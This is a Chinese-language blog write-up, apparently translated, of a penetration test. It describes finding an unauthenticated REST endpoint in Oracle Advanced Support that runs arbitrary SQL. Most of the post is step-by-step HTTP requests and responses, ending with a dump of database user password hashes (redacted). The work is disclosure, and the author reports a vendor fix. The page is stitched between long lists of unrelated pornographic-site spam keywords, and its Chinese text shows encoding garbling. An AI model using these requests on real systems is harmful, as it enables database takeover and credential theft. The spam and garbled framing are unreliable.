精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Oracle Advanced Support系統(tǒng)SQL注入漏洞挖掘經(jīng)驗(yàn)分享

安全 漏洞
本篇文章主要記錄了作者在進(jìn)行一個(gè)滲透測(cè)試項(xiàng)目時(shí),針對(duì)Oracle Advanced Support系統(tǒng)的黑盒測(cè)試并挖到SQL注入漏洞的過(guò)程。

Oracle Advanced Support系統(tǒng)SQL注入漏洞挖掘經(jīng)驗(yàn)分享

Oracle Advanced Support系統(tǒng)SQL注入漏洞分析

一年多前我在客戶的一個(gè)外部環(huán)境中執(zhí)行滲透測(cè)試,任何外部環(huán)境滲透測(cè)試的重要步驟之一就是挖掘出可訪問(wèn)的WEB服務(wù)。nmap和EveWitness的結(jié)合會(huì)令這步驟變得更快,因?yàn)槲覀兛梢赃M(jìn)行端口掃描 并且把這些結(jié)果以屏幕截圖的形式導(dǎo)入到 EyeWitness中。當(dāng)梳理完 EyeWitness提供的屏幕截圖頁(yè)面后,我發(fā)現(xiàn)了一個(gè)Oracle 高級(jí)支持服務(wù)。

Oracle Advanced Support系統(tǒng)SQL注入漏洞分析

雖然我之前從沒(méi)聽(tīng)過(guò)Oracle Advanced Support,但是當(dāng)我很快的google完之后,我了解到它似乎是一個(gè)允許oracle的技術(shù)支持在外部登入,并且在oracle系統(tǒng)環(huán)境下進(jìn)行任何技術(shù)支持需要的操作的服務(wù)。有了這個(gè)信息之后, 我們可以將現(xiàn)有的web應(yīng)用測(cè)試與它結(jié)合起來(lái)。

我們可以對(duì)這個(gè)應(yīng)用開(kāi)始進(jìn)行一些簡(jiǎn)單的偵查,包括:

  • 尋找已經(jīng)被爆出的漏洞
  • 用burp爬取應(yīng)用
  • 枚舉常見(jiàn)的路徑
  • 查看可獲取的頁(yè)面的源碼

幸運(yùn)的是,我在主頁(yè)的源碼中發(fā)現(xiàn)了 一個(gè)包含資產(chǎn)目錄清單的鏈接。

對(duì)于像這樣一個(gè)未知的應(yīng)用,目錄列表是很有用的,它給我們了一些希望去發(fā)現(xiàn)一些很有趣 但不應(yīng)該被訪問(wèn)到的東西 。果不其然的在搜尋每個(gè)目錄之后,我偶然發(fā)現(xiàn)了以下的javascript文件:

讓它變得更適合閱讀一些

http://p5.qhimg.com/t01ee9ebd48adeef189.png

在Web滲透測(cè)試中,其中一個(gè)我喜歡的并且常常忽視的事情是查找應(yīng)用中的javascript文件, 并且看看他們是否支持任何POST 或者是GET請(qǐng)求。

我們已經(jīng)發(fā)現(xiàn)了一個(gè)叫做sql-service.js的javascript文件,這讓我立刻在腦海中提高起警覺(jué)來(lái)。這個(gè)文件包含4個(gè)匿名函數(shù)其中三個(gè)t.getJSON方法的GET請(qǐng)求和一個(gè)t.post方法的POST請(qǐng)求。這些函數(shù)包含如下一些變量:

  1. getSqlData 
  2. createNamedSql 
  3. getNamedSqlList 
  4. getSqlNameList 

在這篇文章的剩余部分,我將提及匿名函數(shù)中的變量。

每個(gè)函數(shù)的根節(jié)點(diǎn)都位于/rest/data路徑下。

接下來(lái)是將他們拆分之后的請(qǐng)求:

  1. GET /rest/data/sql 
  2. POST /rest/data/sql 
  3. GET /rest/data/sql_list 
  4. GET /rest/data/sql_name_list 

有了這些之后,開(kāi)始拿出我最喜歡的代理工具:burp,看看會(huì)發(fā)生什么!

直搗黃龍

我首先嘗試的是來(lái)自于getSqlData函數(shù)路徑是/rest/data/sql的GET請(qǐng)求。我們也通過(guò)觀察javascript發(fā)現(xiàn)這個(gè)請(qǐng)求需要附加一個(gè)參數(shù),讓我們?cè)诮Y(jié)尾加上”test”.

  1. HTTP Request: 
  2. GET /rest/data/sql/test HTTP/1.1 Host: host Connection: close Accept: application/json;charset=UTF-8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Content-Type: application/json Content-Length: 0  
  3. HTTP Response: 
  4. HTTP/1.1 404 Not Found Content-Type: application/json Content-Length: 20 Connection: close Named SQL not found. 

當(dāng)我們把”test”加到請(qǐng)求url的末尾,服務(wù)器返回了404。同時(shí)服務(wù)器也返回了這樣一個(gè)信息:Named SQL not found。如果我們嘗試”test”之外的其他字符串,得到了同樣的返回信息。我們把這個(gè)請(qǐng)求發(fā)到Burp 的 intruder模塊,打算試圖過(guò)一個(gè)目錄列表字典來(lái)枚舉潛在的參數(shù)名,看看是否能得到除了404之外的返回。但是有一個(gè)更簡(jiǎn)單的方法來(lái)找到合適的參數(shù)名。如果我們?cè)俅尾榭磈avascript,你會(huì)發(fā)現(xiàn)函數(shù)的名稱給我們一些有價(jià)值的信息。我們?cè)谝韵潞瘮?shù)中發(fā)現(xiàn)了兩個(gè)GET請(qǐng)求:getNamedSqlList 和 getSqlNameList.。我們剛才的請(qǐng)求返回的錯(cuò)誤信息是 Named SQL not found error。讓我們嘗試針對(duì)getNamedSqlList函數(shù)的GET請(qǐng)求。

  1. HTTP Request: 
  2. GET /rest/data/sql_list HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept: application/json;charset=UTF-8 
  6. Accept-Encoding: gzip, deflate, sdch 
  7. Accept-Language: en-US,en;q=0.8 
  8. Content-Type: application/json 
  9. Content-Length: 0 
  10. HTTP Response: 
  11. HTTP/1.1 200 OK  
  12. Content-Type: application/json; charset=UTF-8 
  13. Connection: close 
  14. Content-Length: 243633 
  15. [{"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]},{"id":2,"name":"cpu_only","sql":"SELECT TIME,CPU_UTILIZATION FROM TIME_REPORT","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[]},{"id":3,"name":"simple_param","sql":"SELECT TIME,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE < ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":1,"name":"cpu_usage","type":"int","value":null}]},{"id":4,"name":"double_param","sql":"SELECT TIME,CPU_USAGE FROM CPU_MONITOR WHERE CPU_USAGE between ? and ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":2,"name":"cpu_low","type":"int","value":null},{"id":3,"name":"cpu_high","type":"int","value":null}]},{"id":5,"name":"by_time","sql":"select time, cpu_usage from CPU_MONITOR where time(time) > ?","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":4,"name":"time","type":"string","value":null}]},{"id":10,"name":"tableTransferMethod","sql":"SELECT result_text, result_value FROM&nbsp;&nbsp; MIG_RPT_TABLE_TRANSFER_METHOD WHERE&nbsp; scenario_id = :scenario_id AND&nbsp; package_run_id = :pkg_run_id AND engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":5,"name":"scenario_id","type":"int","value":null},{"id":6,"name":"pkg_run_id","type":"string","value":null},{"id":7,"name":"engagement_id","type":"int","value":null}]},{"id":16,"name":"dataTransferVolumes","sql":"select RESULT_TEXT,\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RESULT_VALUE\nfrom&nbsp; MIG_RPT_DATA_TRANSFER_VOLUME\nwhere scenario_id = :scenario_id\nAND&nbsp;&nbsp; package_run_id = :pkg_run_id\nAND&nbsp;&nbsp; engagement_id = :engagement_id","dataSourceJNDI":"jdbc/acscloud","privileges":[],"paramList":[{"id":8,"name":"scenario_id","type":"int","value":null},{"id":9,"name":"pkg_run_id","type":"string","value":null},{"id":10,"name":"engagement_id","type":"int","value":null}]},{"id":17,"name":"dataCompressionPercentage","sql":"SELECT RESULT_TEXT,\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RESULT_VALUE\nFROM&nbsp;&nbsp; MIG_RPT_DATA_COMPRESSION_PCT\nWHERE&nbsp; scenario_id = :scenario_id\nAND&nbsp;&nbsp;&nbsp; package_run_id = :pkg_run_id\nAND engagement_id = 
  16. … 

這的確給了我們不少的信息,讓我們仔細(xì)分析一下,我們獲得了一組json對(duì)象,看一下數(shù)組中的第一個(gè)對(duì)象:

  1. {"id":1,"name":"sample","sql":"SELECT TIME,CPU_UTILIZATION,MEMORY_UTILIZATION FROM TIME_REPORT where TIME > :time","dataSourceJNDI":"jdbc/portal","privileges":[],"paramList":[{"id":36,"name":"time","type":"date-time","value":null}]} 

我們發(fā)現(xiàn)了以下的屬性:name, sql, dataSourceJNDI, privileges, and paramList,其中 sql屬性是我最感興趣的因?yàn)樗司哂凶址档腟QL語(yǔ)句。我們把name的值放進(jìn)先前嘗試的GET請(qǐng)求中。

  1. HTTP Request: 
  2. GET /rest/data/sql/sample HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept: application/json;charset=UTF-8 
  6. Accept-Encoding: gzip, deflate, sdch 
  7. Accept-Language: en-US,en;q=0.8 
  8. Content-Type: application/json;charset=UTF-8 
  9. Content-Length: 0 
  10. HTTP Response: 
  11. HTTP/1.1 400 Bad Request  
  12. Content-Type: application/json 
  13. Content-Length: 44 
  14. Connection: close 
  15. Bad Request.Param value not defined for time 

Hey!我們得到一些返回!但是我們少了一個(gè)參數(shù),讓我們加進(jìn)來(lái)。

  1. HTTP Request: 
  2. GET /rest/data/sql/sample?time=1 HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept: application/json;charset=UTF-8 
  6. Accept-Encoding: gzip, deflate, sdch 
  7. Accept-Language: en-US,en;q=0.8 
  8. Content-Type: application/json;charset=UTF-8 
  9. Content-Length: 0 
  10. HTTP Response: 
  11. HTTP/1.1 200 OK  
  12. Content-Type: application/json; charset=UTF-8 
  13. Content-Length: 2 
  14. Connection: close 

雖然沒(méi)有從服務(wù)器獲得任何返回,但是也沒(méi)有返回任何錯(cuò)誤!難道是例子中的SQL語(yǔ)句被執(zhí)行了,只是沒(méi)有回顯?我們可以繼續(xù)嘗試其他的從先前請(qǐng)求中獲得的names,但是我們看一下原始的javascript。我們發(fā)現(xiàn)有一個(gè)叫做createNamedSQL的函數(shù),它是一個(gè)POST的請(qǐng)求。我們知道來(lái)至于getNamedSqlList 的請(qǐng)求的返回值包含了sql語(yǔ)句的值。也許是這個(gè)post請(qǐng)求會(huì)允許我們?cè)诜?wù)器上 執(zhí)行sql查詢。我們?cè)囈幌?

SQL Execution

這就是createNamedSQL中在包體里面包含一個(gè)空json對(duì)象的POST請(qǐng)求:

  1. HTTP Request: 
  2. POST /rest/data/sql HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept: application/json;charset=UTF-8 
  6. Accept-Encoding: gzip, deflate, sdch 
  7. Accept-Language: en-US,en;q=0.8 
  8. Content-Type: application/json 
  9. Content-Length: 0 
  10. {} 
  11. HTTP Response: 
  12. HTTP/1.1 500 Internal Server Error 
  13. Content-Type: text/html 
  14. Content-Length: 71 
  15. Connection: close 
  16. A system error has occurred: Column 'SQL_NAME' cannot be null [X64Q53Q] 

我們得到一個(gè)關(guān)于SQL_NAME列的錯(cuò)誤,當(dāng)我們?cè)诎w中包含空的json對(duì)象時(shí)這不是很意外。現(xiàn)在我們?cè)诎w里加入一個(gè)隨機(jī)的屬性名和數(shù)值。

  1. HTTP Request: 
  2. POST /rest/data/sql HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept-Encoding: gzip, deflate, sdch 
  6. Accept-Language: en-US,en;q=0.8 
  7. Content-Length: 16 
  8. Content-Type: application/json;charset=UTF-8 
  9. {"test":1} 
  10. HTTP Response: 
  11. HTTP/1.1 400 Bad Request  
  12. Content-Type: text/plain 
  13. Content-Length: 365 
  14. Connection: close 
  15. Unrecognized field "test" (class com.oracle.acs.gateway.model.NamedSQL), not marked as ignorable (6 known properties: "privileges", "id", "paramList", "name", "sql", "dataSourceJNDI"])  
  16. &nbsp;at [Source: org.glassfish.jersey.message.internal.EntityInputStream@1c2f9d9d; line: 1, column: 14] (through reference chain: com.oracle.acs.gateway.model.NamedSQL["SQL_NAME"]) 

再一次不意外的獲得了一個(gè)關(guān)于未知“test”字段的bad request,但是如果你注意的話,這個(gè)錯(cuò)誤的信息給我們返回了一些有用的屬性。感謝 Oracle先生的服務(wù)!這些屬性也同樣出現(xiàn)了從getNamedSqlList發(fā)出請(qǐng)求獲得的返回中。我使用getNamedSqlList請(qǐng)求的返回中其中的一個(gè)值賦給dataSourceJNDI屬性。

  1. HTTP Request: 
  2. POST /rest/data/sql HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept-Encoding: gzip, deflate, sdch 
  6. Accept-Language: en-US,en;q=0.8 
  7. Content-Length: 101 
  8. Content-Type: application/json;charset=UTF-8 
  9.     "name": "test", 
  10.     "sql":"select @@version", 
  11.     "dataSourceJNDI":"jdbc/portal" 

這看起來(lái)是一個(gè)很好的測(cè)試請(qǐng)求,我們來(lái)見(jiàn)證一下 他是否有效。

  1. HTTP Response: 
  2. HTTP/1.1 500 Internal Server Error  
  3. Content-Type: text/plain 
  4. Content-Length: 200 
  5. Connection: close 
  6. A system error has occurred: MessageBodyWriter not found for media type=text/plain, type=class com.oracle.acs.gateway.model.NamedSQL, genericType=class com.oracle.acs.gateway.model.NamedSQL. [S2VF2VI] 

我們?nèi)匀粡姆?wù)器獲得了一個(gè)錯(cuò)誤返回,但是只返回了content-type。SQL語(yǔ)句可能已經(jīng)被創(chuàng)建了。通過(guò)把名稱字段設(shè)為“test”, 讓我們嘗試第一個(gè)具有參數(shù)的GET請(qǐng)求。

  1. HTTP Request: 
  2. GET /rest/data/sql/test HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept: application/json;charset=UTF-8 
  6. Accept-Encoding: gzip, deflate, sdch 
  7. Accept-Language: en-US,en;q=0.8 
  8. Content-Type: application/json;charset=UTF-8 
  9. Content-Length: 0 
  10. HTTP Response: 
  11. HTTP/1.1 200 OK  
  12. Content-Type: application/json; charset=UTF-8 
  13. Content-Length: 24 
  14. Connection: close 
  15. [{"@@version":"5.5.37"}] 

看這里!我們獲得了一些SQL執(zhí)行。

看一下“我們”是誰(shuí)。

  1. HTTP Request: 
  2. POST /rest/data/sql HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept: */* 
  6. Accept-Encoding: gzip, deflate, sdch 
  7. Accept-Language: en-US,en;q=0.8 
  8. Content-Length: 101 
  9. Content-Type: application/json;charset=UTF-8 
  10.     "name": "test2", 
  11.     "sql":"SELECT USER from dual;", 
  12.     "dataSourceJNDI":"jdbc/portal" 
  13. HTTP Request: 
  14. GET /rest/data/sql/test2 HTTP/1.1 
  15. Host: host 
  16. Connection: close 
  17. Accept: application/json;charset=UTF-8 
  18. Accept-Encoding: gzip, deflate, sdch 
  19. Accept-Language: en-US,en;q=0.8 
  20. Content-Type: application/json;charset=UTF-8 
  21. Content-Length: 0 
  22. HTTP Response: 
  23. HTTP/1.1 200 OK  
  24. Content-Type: application/json; charset=UTF-8 
  25. Content-Length: 19 
  26. Connection: close 
  27. [{"USER":"SYSMAN"}] 

看起來(lái)我們是SYSMAN 用戶。通過(guò)這個(gè)oracal 文檔(https://docs.oracle.com/cd/B16351_01/doc/server.102/b14196/users_secure001.htm) 知道,我們就是administrator.

試一下 我們能否抓取出用戶的哈希.

  1. HTTP Request: 
  2. POST /rest/data/sql HTTP/1.1 
  3. Host: host 
  4. Connection: close 
  5. Accept: */* 
  6. Accept-Encoding: gzip, deflate, sdch 
  7. Accept-Language: en-US,en;q=0.8 
  8. Content-Length: 120 
  9. Content-Type: application/json;charset=UTF-8 
  10.     "name": "test3", 
  11.     "sql":"SELECT name, password FROM sys.user$", 
  12.     "dataSourceJNDI":"jdbc/portal" 
  13. HTTP Request: 
  14. GET /rest/data/sql/test3 HTTP/1.1 
  15. Host: host 
  16. Connection: close 
  17. Accept: application/json;charset=UTF-8 
  18. Accept-Encoding: gzip, deflate, sdch 
  19. Accept-Language: en-US,en;q=0.8 
  20. Content-Type: application/json;charset=UTF-8 
  21. Content-Length: 0 
  22. HTTP Response: 
  23. HTTP/1.1 200 OK  
  24. Content-Type: application/json; charset=UTF-8 
  25. Content-Length: 5357 
  26. Connection: close 
  27. [{"NAME":"SYS","PASSWORD":"[REDACTED]"},{"NAME":"PUBLIC","PASSWORD":null},{"NAME":"CONNECT","PASSWORD":null},{"NAME":"RESOURCE","PASSWORD":null},{"NAME":"DBA","PASSWORD":null},{"NAME":"SYSTEM","PASSWORD":"[REDACTED]"},{"NAME":"SELECT_CATALOG_ROLE","PASSWORD":null},{"NAME":"EXECUTE_CATALOG_ROLE","PASSWORD":null} 
  28. … 

我們可以獲得數(shù)據(jù)庫(kù)中的用戶密碼的哈希值。我編輯和刪除了主要的部分。知道了我們是一個(gè)具有administrator權(quán)限的用戶,當(dāng)然后續(xù)我們還可以做很多事情。然而,針對(duì)此博客的目的,我停止下來(lái)了。

結(jié)論

關(guān)于這個(gè)匿名sql執(zhí)行我聯(lián)系了oracle,他們很快的回復(fù)并且修復(fù)了這個(gè)問(wèn)題。對(duì)我而言真正的問(wèn)題是為什么web服務(wù)壓根兒就允許sql語(yǔ)句被執(zhí)行呢?

這個(gè)博客最大的收獲是一定要看應(yīng)用中的javascript文件。在多個(gè)web應(yīng)用和外網(wǎng)的滲透測(cè)試中,我已經(jīng)發(fā)現(xiàn)了隱藏在javascript文件中sql 注入,命令執(zhí)行,和 xml實(shí)體注入攻擊。

作為針對(duì)熟練滲透測(cè)試者的練習(xí)任務(wù),看完這篇博客并且統(tǒng)計(jì)多少個(gè)你能確定的漏洞。提示:超過(guò)三處。

責(zé)任編輯:趙寧寧 來(lái)源: 安全客
相關(guān)推薦

2013-12-02 09:35:10

2024-12-04 13:33:43

2010-04-13 14:35:17

2010-10-22 15:18:18

SQL注入漏洞

2009-02-12 10:14:16

2009-10-25 13:32:09

2009-11-02 13:47:09

2021-09-16 09:05:45

SQL注入漏洞網(wǎng)絡(luò)攻擊

2018-03-29 10:16:04

2014-12-04 15:01:13

2023-12-01 16:21:42

2009-10-23 13:08:23

2010-09-08 13:42:06

2012-04-12 15:06:44

2014-09-25 19:30:51

2014-10-11 11:44:02

2015-03-13 19:22:03

2013-07-27 14:14:25

2013-05-30 10:20:39

系統(tǒng)架構(gòu)

2017-11-06 06:05:47

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

欧美午夜精品久久久久久浪潮 | 欧洲精品在线一区| 欧产日产国产69| 精品久久国产| 欧美日韩国产一级片| 欧美在线观看视频免费| 午夜视频福利在线观看| 日本亚洲天堂网| 欧美大尺度在线观看| 一区二区三区少妇| 成人噜噜噜噜| 日韩欧美中文字幕在线观看| 强伦女教师2:伦理在线观看| 丝袜视频国产在线播放| 久久99国产精品免费| 97视频在线观看免费高清完整版在线观看 | 伊人久久大香线蕉精品| 日韩一区二区三区在线观看视频| 另类成人小视频在线| 午夜免费在线观看精品视频| 久草手机视频在线观看| 青青一区二区| 精品少妇一区二区| 无尽裸体动漫2d在线观看| av岛国在线| 综合久久给合久久狠狠狠97色 | 日韩中字在线| 精品呦交小u女在线| 992tv人人草| 国产精品麻豆成人av电影艾秋| 亚洲成人自拍偷拍| 亚洲小视频在线播放| 成年人视频在线免费观看| 成人av手机在线观看| 91在线观看免费| 中国a一片一级一片| 媚黑女一区二区| 国内成人精品一区| 国产在线一二区| 欧美阿v一级看视频| 日韩视频在线免费| 国产亚洲精品精品精品| 国产亚洲第一伦理第一区| 日韩成人在线视频| 久久久高清视频| 亚洲精品aⅴ| 日韩欧美在线影院| 樱花草www在线| 国产成年精品| 91精品国产免费| 激情黄色小视频| 激情久久99| 欧美日韩午夜精品| 中日韩av在线播放| 国产电影一区二区| 91精品国产高清一区二区三区| 国产视频一区二区三区在线播放| 性国裸体高清亚洲| 91九色02白丝porn| wwwwxxxx日韩| 天天综合91| 日韩一二在线观看| 免费观看一区二区三区| 亚洲一区二区电影| 亚洲国产高清自拍| www.中文字幕av | 男人天堂成人网| 2020国产在线视频| 亚洲成人av电影| 国产最新免费视频| 日韩av电影资源网| 91精品蜜臀在线一区尤物| 午夜影院免费版| 精品中文字幕一区二区三区四区| 日韩免费视频一区二区| 亚洲一级av无码毛片精品| 蜜臀91精品国产高清在线观看| 亚洲天堂成人在线视频| 国产人与禽zoz0性伦| 中文字幕日韩欧美精品高清在线| 欧美精品福利在线| 日本视频在线观看免费| 捆绑紧缚一区二区三区视频| 91社区国产高清| 污污网站在线免费观看| 久久久国产综合精品女国产盗摄| 在线丝袜欧美日韩制服| 国产理论电影在线| 91豆麻精品91久久久久久| www.51色.com| 色爱综合av| 日韩色av导航| 男女视频免费看| 麻豆91在线看| 狠狠色噜噜狠狠狠狠色吗综合| 国产在线免费观看| 亚洲综合视频在线观看| 欧美少妇性生活视频| 亚洲成人五区| 国产亚洲精品va在线观看| 中文字幕手机在线观看| 久久精品中文| 99在线高清视频在线播放| 福利在线播放| 亚洲成人综合在线| 黄色一级片免费播放| 亚洲黄页网站| 久久久久久亚洲精品中文字幕| 男人天堂视频网| 丁香啪啪综合成人亚洲小说| 亚洲国产一区二区在线 | 国产成人精品日本亚洲| a级片在线免费看| 久久精品在这里| 97在线国产视频| vam成人资源在线观看| 精品在线小视频| 久久老司机精品视频| 久久国产麻豆精品| 免费h精品视频在线播放| 在线看福利影| 欧美福利视频导航| 成人黄色免费网址| 国产精品普通话对白| 成人在线观看av| 国产精品剧情| 欧美剧情电影在线观看完整版免费励志电影| 图片区乱熟图片区亚洲| 动漫视频在线一区| 欧美精品在线免费播放| 在线观看一二三区| 欧美国产亚洲另类动漫| 精品久久久久久久免费人妻| 奇米777国产一区国产二区| 欧美大片大片在线播放| 国产又粗又长又黄| 国产精品久久久久久久久快鸭| 欧美牲交a欧美牲交aⅴ免费真| 粉嫩一区二区三区四区公司1| 成年无码av片在线| 国产情侣在线播放| 国产精品久久久久久亚洲毛片| 手机看片福利盒子久久| 国产一区二区欧美| 国产精品av在线播放| 韩国三级av在线免费观看| 色一情一乱一乱一91av| 日本高清www| 丝袜美腿亚洲一区| 涩涩日韩在线| 欧美男女视频| 久久夜精品va视频免费观看| 国产精品一二三四五区| 亚洲丝袜制服诱惑| 日本xxxx免费| 99国产精品久久久久久久成人热 | 精品不卡一区| 日本久久精品视频| 欧美理论在线观看| 欧美性猛片xxxx免费看久爱| 国产传媒在线看| 久久成人免费网| 日本黄xxxxxxxxx100| 最新精品在线| 欧美伊久线香蕉线新在线| 男人av在线| 欧美日韩一级视频| 午夜少妇久久久久久久久| 粉嫩绯色av一区二区在线观看| 亚洲精品无码国产| 少妇精品久久久| 国产欧美日韩专区发布| 人妖欧美1区| 精品视频中文字幕| 亚洲天堂视频网| 樱桃视频在线观看一区| 真人bbbbbbbbb毛片| 日韩国产精品久久久| 99热都是精品| 亚洲深夜福利在线观看| 91精品久久久久久久久久久| 亚洲男同gay网站| 日韩毛片在线看| 在线免费观看av片| 亚洲成人手机在线| 九一在线免费观看| 高清不卡一区二区在线| 无码aⅴ精品一区二区三区浪潮| 日韩欧美精品一区| 国产精品国产三级欧美二区| 婷婷激情一区| 色综合久久久久久中文网| 免费在线一级视频| 日韩一区二区三区四区| 五月天婷婷导航| 一区二区三区精密机械公司| 国产高潮呻吟久久| 国产成人精品一区二| 手机在线看福利| 亚洲三级观看| 曰韩不卡视频| 中文字幕av一区二区三区人| 91免费在线观看网站| 中文字幕不卡三区视频| 欧美另类99xxxxx| 91caoporn在线| 日韩成人中文电影| jlzzjlzzjlzz亚洲人| 色老综合老女人久久久| 久久网一区二区| 国产精品不卡在线| 国产成人福利在线| 99视频国产精品| 免费不卡av网站| 久久99国内精品| 精品久久久久av| 中文欧美日韩| 91黄色在线看| 欧美区国产区| 欧美性受xxxx黑人猛交88| 久久av电影| 国产一区二区在线网站| 日韩最新av| 成人国产精品一区二区| 91福利精品在线观看| 欧美亚洲在线视频| 国产在线精彩视频| 久久久久国产精品www| 黄色的网站在线观看| 中文字幕日韩精品有码视频| 日韩一区二区三区中文字幕| 精品成人在线观看| 亚洲乱码在线观看| 日韩一区二区三区视频在线 | 久久免费视频99| 亚洲女与黑人做爰| 国产精品精品软件男同| 国产精品色一区二区三区| 少妇无套高潮一二三区| 久久午夜电影网| 亚洲黄色小说视频| 国产日韩高清在线| 怡红院一区二区三区| 国产欧美精品一区二区色综合朱莉| 中文字幕av网址| 久久青草国产手机看片福利盒子| 久久人人爽人人爽人人片| 99r国产精品| 丰满少妇高潮一区二区| 国产亚洲一区二区在线观看| 欧美做受高潮6| 国产精品国产三级国产三级人妇 | 国产精品一区二区欧美黑人喷潮水| 亚洲精品18| 久久av一区二区三区亚洲| 群体交乱之放荡娇妻一区二区| 国产日韩在线一区二区三区| 精品欧美午夜寂寞影院| 免费亚洲一区二区| 精品产国自在拍| 自拍亚洲欧美老师丝袜| 伊人情人综合网| 日韩视频在线视频| 噜噜爱69成人精品| 色悠悠久久综合网| 国产一区不卡在线| 黄色国产在线视频| 久久综合久久鬼色中文字| 1024手机在线观看你懂的| 亚洲欧洲韩国日本视频| 免费无遮挡无码永久在线观看视频 | 国产在线播放一区| 国产精久久久久| 久久青草国产手机看片福利盒子 | 亚洲欧美亚洲| 国产精品久久..4399| 久久先锋资源| 亚洲自拍第三页| 91亚洲午夜精品久久久久久| 欧美午夜激情影院| 亚洲综合偷拍欧美一区色| 久久久成人免费视频| 91麻豆精品国产自产在线 | 在线丨暗呦小u女国产精品| 国内精品不卡| 国产91成人video| 四虎影视精品永久在线观看| 国产一区二区高清视频| 久久美女精品| 日韩在线综合网| 捆绑变态av一区二区三区| a级片在线观看视频| 日本一区二区三区四区在线视频 | 国产激情一区二区三区在线观看 | 久久久久毛片免费观看| 欧美大香线蕉线伊人久久| 亚洲成人精品| 麻豆av免费在线| 国产精品小仙女| 我不卡一区二区| 亚洲精品视频观看| 日本熟妇一区二区三区| 精品福利av导航| 国产高清一区二区三区视频| 日韩**中文字幕毛片| 日韩一二三区在线观看| 亚洲精品国产精品国自产| 99在线精品视频在线观看| 日本一二三四区视频| 中文字幕欧美三区| 美日韩一二三区| 精品美女被调教视频大全网站| 素人av在线| 国产精品福利在线| 福利片一区二区| 欧美激情一区二区三区在线视频 | 亚洲少妇激情视频| av电影在线播放| 韩国亚洲精品| 一级做a免费视频| 国产亚洲欧洲一区高清在线观看| 五月天综合在线| 日韩一区二区三免费高清| 91官网在线| 国产精品久久久久久一区二区 | 亚洲跨种族黑人xxx| 欧美78videosex性欧美| 亚洲一区二区免费| 99久久亚洲精品| 中日韩av在线播放| 国产精品久久国产精麻豆99网站| 无码人妻精品一区二| 亚洲精品一区二区三区不| 日本在线啊啊| 久热国产精品视频一区二区三区| 伊人久久婷婷| 亚洲少妇中文字幕| 亚洲午夜久久久久久久久电影网| jizz中国少妇| 欧美日韩成人免费| 亚洲超碰在线观看| 欧美黄色免费网址| 国产91丝袜在线播放0| 久久精品性爱视频| 亚洲二区在线播放视频| www.九色在线| 美乳视频一区二区| 日韩电影一区二区三区| 亚洲最大成人综合网| 欧美美女喷水视频| 黄色国产在线播放| 国产乱码精品一区二区三区五月婷 | 日韩网站在线免费观看| 成人av先锋影音| 国产精品久久久久久久妇| 亚洲精品一区中文| 九九九伊在线综合永久| 日韩资源av在线| 美女视频免费一区| 日韩精品一区二区三区在线视频| 欧美久久久一区| 中文字幕在线播放网址| 国产精品一码二码三码在线| 一区二区三区导航| 成人免费毛片糖心| 欧美午夜精品一区二区三区| 日本高清在线观看wwwww色| 91欧美日韩一区| 在线 亚洲欧美在线综合一区| 亚洲欧美日本一区| 日本高清成人免费播放| 欧美成人视屏| 国产九区一区在线| 欧美亚洲一区| 日韩av网站在线播放| 日韩欧美国产电影| 中文字幕乱码在线播放| 亚洲精品无人区| 国产不卡一区视频| 亚洲欧美偷拍视频| 日韩在线国产精品| 超碰在线一区| 亚洲黄色a v| 亚洲精选一二三| 青青草手机在线| 91亚洲永久免费精品| 亚洲一区二区动漫| 在线观看天堂av| 亚洲国产精品国自产拍av秋霞| 欧美xnxx| 国产毛片久久久久久国产毛片| 久久亚洲一级片| 国产高清在线免费| 国产91在线播放九色快色| 综合在线视频| www.色天使| 欧美成人一区二区三区在线观看 | www.黄色在线| 亚洲成人久久网| 久久天堂影院|